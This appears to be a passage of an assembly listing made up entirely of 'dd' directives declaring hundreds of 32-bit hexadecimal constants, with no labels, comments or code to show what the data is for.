dd 10B38329h, 99BA6DE5h, 0E2150458h, 9488817Ch, 0BE585033h
dd 9C6490EFh, 8C60A890h, 0E9B85BB0h, 992D5100h, 0E689900Ch
dd 806E6EE5h, 7C4EBEE3h, 0FD82B006h, 4860D596h, 4F0F8C74h
dd 1DFD91FAh, 3B8F1F7Dh, 0B9E279E0h, 0E3377130h, 0F3D77120h
dd 0F1E00299h, 0BFEA1097h, 0A87AB0A1h, 5C903439h, 0B09B602Ah
dd 0ADB3CD07h, 0F860C8F0h, 0F31E5h, 0D9E8E2AAh, 948213F5h
dd 0C7EDC24h, 0F8CEB15h, 869AB3Dh, 8775437Dh, 9149ACE0h
dd 0FA88254h, 1E78524Ch, 8177D89Bh, 0BEAFCFB1h, 4EA60A8Ch
dd 4C39B910h, 546182CCh, 466A1F8Ch, 0CBB7FC8h, 62BDFD52h
dd 0BE7B2210h, 0BE253D3Dh, 86661498h, 76512298h, 0B51C07A6h
dd 12F30BBBh, 4CC8D015h, 6F0093B1h, 0FC9B4A87h, 7CA92D0Dh
dd 92C20582h, 419ACB85h, 0FEB1D388h, 0FCA6CD4Ah, 5C660894h
dd 213608h, 0FCD5ED73h, 88E08CD6h, 92D40C00h, 0FA1A81B8h
dd 0E45E0EFDh, 0DB637F17h, 0D8E0B2BCh, 6C620BEBh, 40CEA018h
dd 0CF43E90h, 81B7644Dh, 2F063359h, 99E6F2BCh, 0D67D0011h
dd 0A31A9354h, 12399FB4h, 5891F40Bh, 5425D400h, 0AC6C63h
dd 42023D69h, 0D87B273Ch, 0A9B86A54h, 0BE00B572h, 0F8293F9Fh
dd 63BD2C80h, 0E4F0B009h, 414D78C0h, 8E3FC40Ah, 0AE8888EEh
dd 0FC2C60D0h, 5E21CBBBh, 529168h, 0ABD54DDAh, 1D7B144Ch
dd 0C03368B5h, 862920FAh, 0B03881A4h, 0F7800719h, 46FF9217h
dd 79A1B3DCh, 0AB540059h, 48C193FBh, 0C674DAE8h, 0A221A460h
dd 0B75475h, 7F623FFDh, 17AD2015h, 9881B928h, 57E5460Ah
dd 1C1DA47Bh, 476FD047h, 181443B0h, 3852C1Dh, 0A15B00F5h
dd 0CEE1987Dh, 0A60071E4h, 76D12EBCh, 0F1586Dh, 0CDE61074h
dd 775BFB7Eh, 0DE0CC00h, 0B07DF51Dh, 321C1E69h, 0FCD1C327h
dd 11B0DD2Ch, 0D383106h, 16BD45h, 39CD1E5Eh, 2DA2D38h
dd 0DE4B3227h, 209EBBA1h, 44C61810h, 0E4F81DDh, 80D04B6Fh
dd 83592F30h, 7BE2441h, 66CD5B99h, 2175469Fh, 0EBB89800h
dd 0F390BA31h, 5A7C013Eh, 4F6E8FC4h, 302448FDh, 24468308h
dd 0CAD3C2D6h, 0EBB78100h, 0D1ED00ACh, 133D8384h, 0E13DACEh
dd 500AFD3h, 0CCE988DEh, 0B7C70034h, 3DB39043h, 27EC281Ah
dd 12D04F00h, 152F0A52h, 262B075Dh, 462A05BDh, 6B1F219Fh
dd 0CE000AEAh, 0BD38BA6Eh, 0B87C00DCh, 43582A47h, 0EB02DB54h
dd 0E527334Fh, 80609F51h, 912A17C6h, 831D1031h, 0FD5E2BA1h
dd 6D8AE69Dh, 5103ECE0h, 34DA23Eh, 29760958h, 10E64F4Ah
dd 0E6888716h, 2BE97507h, 851EC545h, 0E215E18h, 51DD0011h
dd 0BC9C5395h, 6D4872DEh, 0C1670C20h, 0A538E956h, 604EE48Ch
dd 18B59C85h, 18ABA1EEh, 6A2AAC51h, 6F7A8048h, 4C586C1Eh
dd 518E705h, 6033F1C0h, 0A1260E24h, 0FB80F412h, 5E803C32h
dd 0A4C77500h, 60185DD6h, 6F74A502h, 8634FA8h, 510BF036h
dd 0C9D70041h, 7783DCB4h, 0D87B606Dh, 52C5D4A0h, 0CD56F300h
dd 0B031FF61h, 819F4E7Eh, 0EC44B530h, 0FD128DF4h, 18081F16h
dd 0AF9C01Dh, 95461558h, 70D4E610h, 0EF0A7100h, 421F4D80h
dd 372707D6h, 218FB34Ah, 83451654h, 0C45DD2D0h, 4F901E46h
dd 17A4E7h, 0F5EB1298h, 0A150EFCBh, 0E001329Ch, 914A3DD6h
dd 0B42055D4h, 8A608848h, 98CC6C2Ah, 2A863700h, 6AE899B2h
dd 0A8E148C3h, 2C30C39h, 24F8EB9Bh, 8E0E1CCEh, 20228352h
dd 0A34EDA44h, 82FF3A33h, 970041EBh, 384B24CAh, 0DF7F5200h
dd 117D07C6h, 46020031h, 0A0C93261h, 0D9C0437Ah, 87B19694h
dd 14C407B2h, 0A0991F3Bh, 0E0F14A42h, 9E280390h, 8858B8EAh
dd 5774078Bh, 8282693Bh, 512C6133h, 83E46049h, 0B62410F2h
dd 2174CC9Eh, 0D10B008Dh, 0C4935AF5h, 41FA76ABh, 90F04C92h
dd 2484306h, 31A56Eh, 5FA63ED6h, 63C4DD3Fh, 0BD889E0Fh
dd 0AC0CE3E3h, 80D0D4F2h, 5FE14Fh, 47D67CA1h, 868842E5h
dd 0AFF7F80Ch, 420100Eh, 38BE5FD8h, 11A88CB8h, 0A5D178Ch
dd 1C3A1554h, 3DE884h, 710A952Ch, 0D29400EAh, 0B516CB0Eh
dd 41C05B29h, 3F2FFEC3h, 656A00C4h, 0FFEA5813h, 0F80C0EEBh
dd 29422212h, 847615h, 0BD58E303h, 1BE48539h, 0B888F60Fh
dd 0C0498074h, 4CCA98DEh, 0D2029BE5h, 0DD1E42FBh, 0C24FC440h
dd 557CBBB0h, 22960D14h, 89560360h, 90BB6104h, 1D6074Ch
dd 9DD946Ch, 21E24171h, 0E457E500h, 5114E3AAh, 0DCDC60A0h
dd 24478342h, 8A001C2Eh, 853EEBB6h, 48864FC3h, 42808CC5h
dd 0B86D3C04h, 224E3D00h, 136CDFCBh, 7216127Dh, 23102F6Eh
dd 0F8400075h, 3721F744h, 5C7D3C07h, 0A1C95066h, 0C590C354h
dd 73C2FC48h, 81D603A9h, 5FC4F803h, 0DB359900h, 0C2857872h
dd 46E40004h, 5DC8B184h, 0C31828CBh, 50283D1Fh, 43A60995h
dd 0DC84B88Bh, 0DC13609Ah, 116D10A8h, 8259C82Ch, 92DD1D61h
dd 3E056A60h, 8BEA50C0h, 7F55340h, 34EE6488h, 2A80D05Dh
dd 24189C59h, 32C939FDh, 0CF6412A7h, 383049E7h, 9F886497h
dd 7D306027h, 90907A6h, 865AFDB5h, 3A14534h, 30247BA7h
dd 100A7633h, 9C28CEB6h, 1AD6C380h, 16FDFC07h, 22518C88h
dd 0D8B00290h, 9E81EB7Dh, 0B4884818h, 0C3EB07ACh, 50885815h
dd 0A2FB34C9h, 2186A4Ch, 4E9DCAE9h, 0AB64C1A6h, 5BE00E15h
dd 0EFC6C20h, 0AA15F351h, 14C82675h, 0D870D0h, 4DF4DA65h
dd 70AC22B0h, 60290F6h, 67BCC741h, 0E700E85Fh, 9732CCBFh
dd 0D0C478h, 0AD4065FFh, 4FF7D6D1h, 42129D7Ch, 0EC2046F0h
dd 0DDE7ABh, 0B0760811h, 0E8BB3798h, 0A070F600h, 571D861h
dd 1ABB0C9h, 0CBF0D3D6h, 625AB0D2h, 8ACF00BCh, 0E2F3177Dh
dd 736F0062h, 0C57B97D5h, 72031930h, 0E6661604h, 0A7A4A1B1h
dd 504241E0h, 6EC840h, 0CAE0E5B6h, 38032DF4h, 43F248h
dd 2F33BF78h, 0D8D750h, 149B621h, 10BCF415h, 40971905h
dd 0B800CBC4h, 0B8264DCFh, 83CA0146h, 9872238Dh, 9DE0C478h
dd 7F4EAB00h, 0A6EFF60Ch, 4D863D7Eh, 805AEA9Bh, 7DFDDBE0h
dd 43E85BF2h, 37E6F503h, 90023624h, 93C24Ah, 0A6EA779Ch
dd 120BCE7Ch, 90491800h, 34F4540h, 8ACB006Eh, 0DADEC85Dh
dd 1A0060BCh, 0B9B8FB95h, 0C6CC61h, 6DDF17F0h, 0CD747F3Ah
dd 58FD3B00h, 7C4A3FDBh, 464F1DC9h, 0D480C786h, 0ABF881D8h
dd 88EAE745h, 164AD840h, 70074EE2h, 0D89D3CCEh, 90F269FFh
dd 0C9C4D4Ch, 497BCCF9h, 8E01F4C0h, 0DA700B6Eh, 0C0407DA4h
dd 2530D63h, 0E0186F35h, 6009048h, 0EF9221h, 0E975ED33h
dd 57FD8AB9h, 0B1950B0Dh
dd 6DE48099h, 0BEC0C00Dh, 0CF15FC3Ch, 9B5B7A00h, 6A8DE8A2h
dd 0A6670093h, 1A2B99F1h, 5401987Dh, 6B641D03h, 2FF41325h
dd 0ED77D3Ah, 2394DCCEh, 88FE18A4h, 0E700AAE0h, 64BEC833h
dd 0F74885Bh, 0DAB0DCA4h, 0FBE002CEh, 0A517AB90h, 78ACFCF1h
dd 202D2324h, 9D0610A4h, 2413062h, 7F746E15h, 404068B4h
dd 0E501BCF0h, 8D1A0EBh, 32201ACFh, 0CA6C0090h, 0C664B0F5h
dd 0F904EFA6h, 0F441FE5Bh, 0C82E0080h, 6C010006h, 472919DBh
dd 0D7138669h, 3700E848h, 79F6A0A3h, 3D409250h, 0B480E58Ah
dd 0ED036CBCh, 0C13DC3B0h, 80A4BE10h, 0DE5273FCh, 77237434h
dd 0B4300E8h, 404D0D8Dh, 5A78CE30h, 77564A07h, 1B20292Ch
dd 0CE12E2DBh, 9424EC40h, 30F8B06Bh, 50EE0100h, 39C8A963h
dd 0F5AA00FDh, 64DC5DE8h, 469086E4h, 3A2428E8h, 5B84203Bh
dd 0E4C2F229h, 0E6B530A0h, 816DBA08h, 4DE86E3Dh, 0DD07E700h
dd 0E85677h, 0F2982F3Bh, 64AF7F5Eh, 4C5F8B26h, 4A118CA4h
dd 555C4500h, 0A88909DAh, 0D8424700h, 0F9B96916h, 0EF77133Dh
dd 0F0B44027h, 0C2508FA6h, 433B790Ch, 0B20409C3h, 0C100918h
dd 0CC0EB785h, 1DE6FCA0h, 5B180FB6h, 99C14E3Fh, 0D5E207B3h
dd 618AC0A2h, 6327A83Dh, 0AFC0214h, 1CED1559h, 0D347900h
dd 0B4636A61h, 2C19505Ah, 0F32E0F72h, 9E029C2h, 39CA64B8h
dd 0DDD5941Bh, 9DA4A8C0h, 0DBDA27BCh, 4F06800h, 4258950Eh
dd 883D2AC2h, 61F66800h, 0C7582A22h, 857C3C5Ch, 79D6D24h
dd 93CFBA2Fh, 2028F1F4h, 714EAD0h, 0E020DAADh, 865EA1C9h
dd 0AD760215h, 0DC1480E8h, 8C88C353h, 1A96A894h, 6CAACC01h
dd 7C304565h, 0B7F0A09h, 9DE0406Fh, 16E7C026h, 0FEB86854h
dd 0F3DCCC00h, 0BACE9549h, 0D2250CE5h, 4D51A330h, 74B5B600h
dd 0C9FA664h, 63C1007Dh, 0C759E1C8h, 60B053C5h, 6604D0A1h
dd 0AF801E0h, 2A0D157Dh, 0FDA12828h, 18AAF410h, 9267B900h
dd 0CAC4663Ch, 0D7E28032h, 0F8F7C876h, 0EF005E3Fh, 2F151D9Dh
dd 0F1D178h, 3404B257h, 0D3E6CCEDh, 946D7729h, 0D31873D1h
dd 6EFB900h, 27AE66Bh, 13C61CB5h, 0B47C4B6Dh, 8D00C88h
dd 0D91E4ED5h, 6CA61E82h, 2A64E46Dh, 0AC416Fh, 0ADD18F1Bh
dd 72B4C2E8h, 47982160h, 17B9FE16h, 3A27DA20h, 0F3C2374h
dd 0A781B168h, 80502D97h, 0E8DED748h, 75BE717h, 62C340F7h
dd 0A8556646h, 0A63DA203h, 74DFB51h, 0D77DF510h, 16A3E37Fh
dd 0D90460F7h, 0C50057E6h, 0B30D9C69h, 0FBE9755h, 5ECEFA29h
dd 3626FDh, 0F3F1C446h, 0BF00D714h, 0A2A594ABh, 0D34249h
dd 0B674936Fh, 951D028Ah, 9D39C400h, 31309112h, 0D8520096h
dd 0B03B24C2h, 751CFE11h, 34802E95h, 0EB058346h, 63ED001Bh
dd 85EC4F77h, 0D774D371h, 0FFCA4050h, 0BEB0270Eh, 6411C043h
dd 0C517B2h, 304D6D41h, 1440F2BAh, 39628F06h, 43088E1Bh
dd 6704FFB0h, 6AA415D1h, 381F8EECh, 0BD077BB3h, 41108972h
dd 7225F2D4h, 0B27DB9h, 8F510635h, 7C7DEA6Fh, 1B64A67Bh
dd 3C21E629h, 0E9A31134h, 8B07C410h, 88238A80h, 1C40E18Ch
dd 0D2EC44A7h, 7E518865h, 0F8841404h, 4AEF7B44h, 42085096h
dd 438A842Ch, 143F0A1Eh, 946FBD08h, 0CD112836h, 87321F4h
dd 1A9422B3h, 6B920814h, 78F71419h, 281AEC11h, 0D03148Eh
dd 0CF2FE270h, 6B5AF05Ch, 58E60050h, 0D68A28BCh, 7A3F78F0h
dd 0C6321E53h, 0C9777F80h, 2E4E38EAh, 0B10EBAh, 0AE7C85CEh
dd 0ED002B6Eh, 0FE260BD1h, 3E948DD8h, 0BC001CF3h, 85CC3775h
dd 3F00C304h, 8762A6EEh, 6B5E16h, 2FEB8FA7h, 0DE571E0h
dd 0A6002372h, 0EFA28642h, 77AA0F1h, 68ACF3E6h, 0A301703Eh
dd 521D810Fh, 57D87823h, 0E1E011h, 2054D858h, 0DB89766h
dd 0B7F28C00h, 0C74042F7h, 0B462001Dh, 0B5F9838Bh, 3200BDF6h
dd 43A87744h, 0E0AD6A4h, 11CFF813h, 30011472h, 70401C00h
dd 0A8B9E1E8h, 0C792EB06h, 5FA4817h, 0DA3DCE72h, 6DC580B6h
dd 3A029AA2h, 810D3193h, 49FC57A4h, 0EFC1DA1Eh, 855DEE6h
dd 0EB57EC0h, 3E4E7B2Dh, 0DDDF0180h, 89127697h, 680F1E59h
dd 0ADA78714h, 53BE80E9h, 4D23486h, 0EBCA9B48h, 0DEFAC004h
dd 0EA1759C4h, 9800DDA0h, 22AF31A4h, 76027E38h, 0FA5B041h
dd 72F2144Ch, 0D3CF5580h, 0AC0E96F3h, 0A01BB976h, 0FC3D2AB6h
dd 8FB4A00Fh, 0E33E0001h, 22E5F5C9h, 2A057A83h, 66139ACDh
dd 45C02087h, 0AB107EBh, 3A7DB35Bh, 0FDE3008Fh, 0B9FBBCCBh
dd 0C3CCD8C0h, 0E764F5h, 18760752h, 294E48C5h, 23D7A903h
dd 0C0E9B2D2h, 2B0B66h, 15030F76h, 73C531E0h, 980320FCh
dd 3BBE9A7Ah, 6E7FB86Dh, 0B7F028A6h, 5A3900D3h, 0B6657944h
dd 3BF41B8Eh, 19D03800h, 0EA76500Ah, 5BC20021h, 0C409AF05h
dd 7400BDEFh, 548610A2h, 0CCAAB71h, 0CD62F8B7h, 0BD00D692h
dd 0CCFD59AFh, 9A0F88h, 0A5C93B4h, 273F6A26h, 0F5106100h
dd 146686EEh, 75BA01ECh, 727AC9C5h, 0F7FCD0D2h, 0F224B800h
dd 87CC6230h, 0D76400CDh, 0E5DAEBA7h, 0BC004DA2h, 2633ED5Ah
dd 0B1057Bh, 76A47A8Dh, 0FAA8BBF2h, 4AD69900h, 0ABC1732Ah
dd 0E0420719h, 1193A64Eh, 80F98698h, 29D3CA28h, 0ECD53433h
dd 6BF71211h, 145400A1h, 0DB61013Ah, 51FCAC50h, 6606BB01h
dd 116298A9h, 0E31BFCh, 64AB5949h, 0E667FB3Dh, 22E9638h
dd 0AFD55812h, 0DF72E07Dh, 0C0BE005Eh, 40D77161h, 401E2AAh
dd 0AC8E177Fh, 92DC07ECh, 0CF7D0F5Fh, 8434013Fh, 1569EF07h
dd 0E444E08Bh, 4500A448h, 27B46511h, 1E62353Ch, 40E5AC21h
dd 94E8496Fh, 9C3BA672h, 271600C2h, 2A83A17Eh, 78FC000Ah
dd 7C56B3C8h, 0F800694Fh, 6715EEFAh, 4CDE7F9Bh, 0FD00A1BEh
dd 0D354067Ah, 0D5001D2Bh, 520366F8h, 786EC7Ch, 6D837289h
dd 0B6E2F0B9h, 0A87910D1h, 82467101h, 0D938AD4Ah, 2414F4h
dd 9B979364h, 0FF2F61B1h, 92B81700h, 7FECC648h, 0A36B00D6h
dd 77E68B33h, 2F070AD3h, 0C174379h, 7A949AA0h, 0D4F200E8h
dd 0DE7336ACh, 303B2C8Ah, 818481D3h, 62887C49h, 5C196D30h
dd 0FE009193h, 780AF061h, 0F74881EAh, 870600A8h, 3D5610AAh
dd 0F07400E3h, 5CEB576Dh, 7E00BCFEh, 0CABA48F3h, 0A1EC46Eh
dd 0B6DE3D9Bh, 0A0450CFEh, 2E00AB56h, 1243A7D1h, 0F19DCB7h
dd 0FE3A1AD0h, 697A8C40h, 3F0013E6h, 6559C8F5h, 554AFAEh
dd 50AAF77Ch, 6BD0C3E4h, 1A0EF5E0h, 6F007972h, 0A983B047h
dd 1C744D03h, 40A65CCCh, 0DDC38D0Ah, 0C0907378h, 8F7F7B00h
dd 319C3CC6h, 0F8E990ADh, 34F100C7h, 0B4FD2188h, 0C903DE14h
dd 0F516B1A9h, 0BCA4D88Ah, 93EE00E9h, 3D99627Dh, 0A8004B1Ah
dd 1DD677B2h, 3CAA2637h, 0B854E47Fh, 159A04C2h, 80C4C150h
dd 1B953CAEh, 3891D700h, 0CAD44F9Dh, 7E578A0h, 2855A51h
dd 316C7077h, 0B203F7B4h, 9F40D4Dh, 0FCBB095h, 0AD3200F0h
dd 21711A39h, 1203D617h, 6C9774C6h, 0B6F5805Fh, 45729Ch
dd 0B1BC9965h, 7F3CAAC8h, 0A7B77000h, 39C2194Eh, 73F3006Eh
dd 0A293905Ah, 770120C3h, 1ED12381h, 0B9C81968h, 0E827004Dh
dd 9DABB9Ch, 0BC3B3F76h, 0F83D8025h, 0D8C7D671h, 9FFB0007h
dd 0B77B5034h, 1FFC857Ah, 750AA300h, 0B36BE166h, 156148C3h
dd 0C28D561Eh, 5EA8FAE6h, 0A042E940h, 0AD54C400h, 463257ABh
dd 87DE011Ch, 8565AAB3h, 154EF4D7h, 0D60E7F12h, 9716E500h
dd 79A8490h, 61A50F24h
dd 8C1E50D1h, 0B105C415h, 0F35C9BC6h, 0C2DE0080h, 8597003Dh
dd 0E7E99088h, 0D60FD16Ah, 0EE063EA0h, 71BC003Bh, 74D96323h
dd 0B47700AFh, 6B18968Fh, 24003D3Ah, 978D82B7h, 0F33800Eh
dd 6058AB4Dh, 3AC8B8E0h, 0C50792E3h, 3EF41554h, 839F4DB0h
dd 57AF008Eh, 0F549B17Ch, 18F6DEFBh, 216D2500h, 1C36E834h
dd 0F915502Ah, 23F0179Ch, 0AE6000F1h, 6034E542h, 4D500100h
dd 0EABE9228h, 4FF04CC4h, 0CBC7EB00h, 42A3692Dh, 63E0021Fh
dd 6068E38Fh, 216CD4ACh, 893701DFh, 8D366212h, 774EC8B7h
dd 0E42EFD03h, 0C07F69ADh, 0EE188A73h, 80E600A2h, 0E0C0D18Bh
dd 68007876h, 8763A354h, 0C82956Ch, 2F93C84Bh, 0AF039B32h
dd 815F9446h, 0BA20002Ah, 5D4C8D27h, 5607A977h, 3BF89706h
dd 0F7C9A07Fh, 0ABE2C5h, 0F964EBCEh, 42985855h, 306DFCF9h
dd 0FB00E090h, 97812C23h, 1CBB7B72h, 0C084BEA1h, 0A28EB7AAh
dd 5006C95h, 1F6EA811h, 0FB4DE51h, 8AF83C6h, 8A80B76Eh
dd 0C707346Ch, 0F8FDFCA0h, 0C872A91Fh, 0E83ED9C0h, 70D85A9Ah
dd 21530037h, 9DECEFA1h, 2A00C239h, 628A945h, 0B096111h
dd 0C8CEFACFh, 0B7CC5900h, 0FB00750Dh, 0CDEE1073h, 34A076h
dd 0ACB49926h, 792BDCEFh, 0FCB8D807h, 0C460887Bh, 0F516515h
dd 24F2FAB7h, 3C483660h, 91000CDFh, 0FCBA8EFFh, 379BE0h
dd 0CC21203Fh, 0C06C82A3h, 1D5F4Ch, 5AE19E1Bh, 1FF487C8h
dd 806130BDh, 6A56096Ch, 65003C8Ah, 8515502Ch, 1D72259Ch
dd 0C05C488Eh, 61DC79C8h, 28009A94h, 0F470300Dh, 7EC2B7h
dd 1205DFE7h, 18EB31CCh, 78FC69E0h, 0B5BE9D00h, 3CFC082Ah
dd 49DC0012h, 973AFB01h, 0A7039275h, 62F32E77h, 3C5EE8D2h
dd 246000DDh, 7C96DB31h, 8F018D52h, 8E74EECDh, 0AA304AE5h
dd 3DB61FE9h, 153A4006h, 0E2337C4Eh, 2D491D00h, 0A11CF3C4h
dd 0FB0B055Ch, 80186377h, 9505C28Ch, 276D724h, 1FBD3E1Ch
dd 0D1800C51h, 0ED3AA2F8h, 6EB31EEAh, 5F003952h, 0AE0BB6A7h
dd 65000E10h, 87B9BA42h, 4C8DF7C7h, 0DE003459h, 9BC3B54h
dd 9E0FB366h, 61E8D8ABh, 45FDBFB2h, 7E93DFh, 0FA715990h
dd 0AC55F47Bh, 67F96309h, 46D8804Fh, 0DB12E08h, 0CDB70AE3h
dd 1572D090h, 0ED408F78h, 43E0059h, 80717D4Fh, 0E600D060h
dd 5ACD8D5Fh, 138E73h, 427990DFh, 16EB75B2h, 0F420D100h
dd 892BD2E4h, 984F0044h, 0CA64459Bh, 460EB661h, 0C320BD6Eh
dd 0C8CBA934h, 7EBA078h, 79266B5h, 8B57D096h, 0FA0026BFh
dd 3D7BBD28h, 5CFC050Ch, 613F5B35h, 0AD9F6780h, 0AB682EAFh
dd 6A19DD00h, 36A9B118h, 64A10037h, 0DC4689DFh, 97E4966Eh
dd 659C7C50h, 1CCA7300h, 0D22D53ADh, 0EF9000D1h, 39C7BA1Fh
dd 0A7008DD6h, 166920ECh, 3C6535h, 0BF71E580h, 0A47BDC22h
dd 731E0899h, 56D2D082h, 5D0602Fh, 0DC7F0109h, 4DFE329Bh
dd 818047FDh, 0E01B02A4h, 22499786h, 76990408h, 289072A3h
dd 0B89A38h, 302823D2h, 0DB24FF44h, 0F15E3B00h, 0DC58C8DEh
dd 87070179h, 0A02CACDDh, 4EBDB4Ch, 7A98EAC3h, 96003FF4h
dd 0B9058699h, 0EB2D25Eh, 0FAB4338Ch, 0B519095Dh, 0E3131C00h
dd 0AC006ED3h, 3DF7B9D6h, 3F621FD7h, 1102245Ch, 74180533h
dd 39BD2D00h, 1C94FE6Fh, 808734BCh, 3AE0B6CAh, 831E3852h
dd 4040DE90h, 7E4162A8h, 56D10151h, 12C4B967h, 0B2F98B8Bh
dd 0ACF38094h, 85D54Ah, 0AE398CA3h, 4CC019CEh, 0A0A12E00h
dd 0AB135DDCh, 41D4A87Dh, 0BBD0A954h, 68A5C840h, 124AEE3Ch
dd 24EEE2h, 4EDA3EA0h, 0A303E982h, 0B6C26190h, 97CFC055h
dd 0D14900D8h, 13E37FB3h, 7928BEF9h, 4110D42Ah, 0A848284Fh
dd 82AC1C00h, 16DF8121h, 3D132300h, 0FE779F31h, 357E00DDh
dd 68A13BE6h, 2800A56Fh, 0B4E050D4h, 921A4Bh, 0F644E72Ah
dd 9A3BEA58h, 821D8AFAh, 6B40BA68h, 9C235E96h, 8DE600F9h
dd 0BEB21CBBh, 44092639h, 80C1526Ah, 7CFB5A30h, 18D64869h
dd 7DE77500h, 0FF7CF12h, 0D0027E18h, 1CBFAB18h, 0C03A8524h
dd 0E2A2C168h, 7F002286h, 86B1FEEh, 1FCF3816h, 0C1B4A3FFh
dd 0BDCC4445h, 0CB03055h, 8C49A00h, 288E361Bh, 0D4EC0FB2h
dd 4840DA35h, 1175B1FEh, 0DCA16A03h, 8A20B509h, 9DC48051h
dd 34C98h, 78DEFC5Fh, 2483D88h, 0AAD0F000h, 0D1534FFDh
dd 0FEDA00EBh, 676F0A56h, 0C83E3966h, 5526804Eh, 6540D890h
dd 0A8A95CAFh, 0C40C2Ah, 0C549C6BDh, 9A0DB2C8h, 801C2601h
dd 483AA1B0h, 0E83FABD0h, 0C6AD1FF4h, 47B34015h, 0CDE49ADEh
dd 8254A802h, 60414377h, 686C05DCh, 9C5B058h, 55006BADh
dd 229E12ABh, 176D5F00h, 59A31910h, 309200AAh, 0A7291FD9h
dd 57092BBBh, 80F7CEA4h, 6583E3DCh, 0A0DD00BDh, 0E5FA52A6h
dd 0BE26126Ah, 4A00901Eh, 0C670DF02h, 0FD19805Dh, 14917500h
dd 105FDE74h, 0ECF650E6h, 6C751Ah, 0A3C28697h, 1815E7B7h
dd 0A8097900h, 69B5379Ch, 16FD2ECBh, 1D95045Ch, 1ABC80D3h
dd 0D4778029h, 47BE8C00h, 0BFB55839h, 63D103A1h, 36EF3526h
dd 6EEADD8h, 7638C200h, 0EBF0EC05h, 0BE460392h, 85AEE515h
dd 30C8DBF1h, 5051D6FFh, 0A7E26094h, 7C3694A0h, 3AC7CF1Dh
dd 0FBFCD180h, 1378CDB6h, 21741C96h, 0F0E7E6ECh, 8D014FFEh
dd 2F3C8833h, 25C0466Fh, 5ABB00B5h, 4D545387h, 6770B4B0h
dd 86D63300h, 5EAC5295h, 14E03E99h, 50638A83h, 73A8EC51h
dd 4F006065h, 0E5B7C70Eh, 3A6D909h, 0E92F8C38h, 14A99519h
dd 0F5E85178h, 0C36862C0h, 74E8A96h, 81B2B311h, 0C6C1013Ah
dd 0EF98D76Dh, 0B73C1F66h, 0E7BD80F7h, 420287A8h, 0C3550986h
dd 1D80A5FDh, 0FF0E923Ah, 0F843341Eh, 77E4A200h, 833DC0h
dd 88B06A26h, 0B8AAA950h, 565AF004h, 0C8C0DC95h, 0ACF125h
dd 0E9659FD9h, 6499A846h, 0DFEA507h, 7880EB60h, 24877A52h
dd 5E04A48h, 83F75022h, 16A0658Ch, 0F200E2AFh, 0D546C135h
dd 90743Bh, 0BACB062Dh, 61243E53h, 0C6D85100h, 0FE20A968h
dd 0FE6D795Ah, 0C07609h, 0BD4B972Eh, 5D18EDFh, 98A0C677h
dd 3405A335h, 661A76EBh, 0D07FD980h, 1E1B09EAh, 7CA08472h
dd 4E2632F3h, 8F6C9207h, 166041D8h, 0EE7EAB6Bh, 1FC97EB6h
dd 0C9DFC657h, 0D80246C5h, 48C284D5h, 2ACC9C48h, 7AFBDB00h
dd 0FAC811C5h, 56C4001Dh, 4DD8A793h, 32006DA8h, 2796D789h
dd 2C3C2A3Bh, 787B20h, 51AFF0E3h, 0E87803FAh, 7000A57Ah
dd 0FB145713h, 8CD2A2h, 0CA6F521h, 0F6A1CC42h, 7156E097h
dd 0B5DC005Bh, 4B5AE2CAh, 0EA186713h, 0F258851Ch, 882B0025h
dd 2430E664h, 7658FB98h, 0F1430087h, 0ABC86C02h, 293A3DDBh
dd 0B5384BBFh, 2F9FE180h, 0C81566Eh, 0D9944100h, 1EC4C33h
dd 0FD790FE4h, 74A089D5h, 0B6C64EFBh, 9C7B64F6h, 3BCDA400h
dd 6C58A3C7h, 0B0780013h, 0AEB7E9D0h, 53E6F151h, 55C6EF00h
dd 358701Dh, 0C8D9015Eh, 46B44DE9h, 0DBA47018h, 5CA6413Dh
dd 8211170Ch, 90209C40h, 0CC2EC3h, 9CF1806Bh, 6E714B35h
dd 0A00029F8h, 7319ACD9h, 0C4661B7Eh, 0C76909D4h, 0A66FA0A4h
dd 64005AE1h, 2C90A07Bh, 204BD72h, 9E77EC6Eh, 1CE8DA83h
dd 0B40E2833h, 40257BF8h, 8AF553B9h, 2FCA007Fh, 45A6177h
dd 872E511Fh, 0D7134E5Fh, 27316D00h, 0FABC02h, 0C30A6418h
dd 80EE444Bh, 1B9039h, 266D1CF9h, 7B52B3Ah, 0DBF56EA9h
dd 48A08BDCh, 0B123AA31h
dd 6F0B0900h, 1EF9DE8Eh, 0C4A30334h, 456790F0h, 1BAE9EF0h
dd 8096DA3Eh, 57D59B59h, 7973DBh, 950AB3C0h, 31FE30A5h
dd 56E26B07h, 5D904A7Ah, 90BBBh, 842140B9h, 0D8BFA7FCh
dd 89537200h, 39A9182Ch, 0CAC0030h, 61976D43h, 0E2050570h
dd 0B7DC4DBDh, 944294C0h, 1CF100FAh, 442FB171h, 9000099Bh
dd 5865C524h, 0D29C30h, 0C13E69E9h, 7966230Ch, 0B276F00h
dd 7CF828C3h, 0C73D3EA1h, 835F1680h, 4D65A552h, 0F0143F4h
dd 9F2D77DBh, 0FC40994Eh, 1CBFB241h, 85C417CFh, 1F62D8F5h
dd 33DA4098h, 63AF0F32h, 0F0D5842Ch, 58919E80h, 0C0C9195Bh
dd 42670E91h, 0CF46145h, 3B0081B0h, 56B3CE40h, 1C91F33h
dd 5F675EFFh, 0C4F73ABBh, 0F3391BA9h, 8B38009Eh, 0B7B3A54Bh
dd 4601130Ah, 0CBC20009h, 0BAE2C32Dh, 0C0DF2500h, 0E973E8B1h
dd 0DB9400A4h, 0B3BCBFD0h, 2D09C167h, 1E59ECh, 0E20E2568h
dd 0A3151DE9h, 11768093h, 48D7A160h, 0A20D2E00h, 988C7FC6h
dd 34FD0033h, 730A6B92h, 2F1D527Bh, 62802D28h, 851AE7A6h
dd 59400081h, 50B46F3Dh, 0E11CAF70h, 0A200BC60h, 19FE4973h
dd 0DE9900E4h, 649CE27Eh, 0DA00C370h, 679F02D6h, 0DCD12Fh
dd 9780F1E7h, 1EEDD9DBh, 787AB000h, 45DE48C6h, 41CF039Ah
dd 81286307h, 53826990h, 2016AA07h, 0FEE1953Bh, 34706561h
dd 84300E4Ch, 0C3635833h, 22B03F7Eh, 0EE0F4EA7h, 635394F1h
dd 8064F4AFh, 3083C61h, 3F929E11h, 0BE84D04h, 0F8E9D732h
dd 0D13A2262h, 0B4838030h, 1C085BBFh, 355900CFh, 73F41FADh
dd 217FA44h, 0EE00B8AFh, 0EF8EC599h, 58D0B532h, 693C3000h
dd 27097A3Dh, 862A00D5h, 58C1A161h, 0F30012BBh, 0D08EE30Ch
dd 108263h, 0DAFC1634h, 6883ACBAh, 0CFC18800h, 0FD2F58D9h
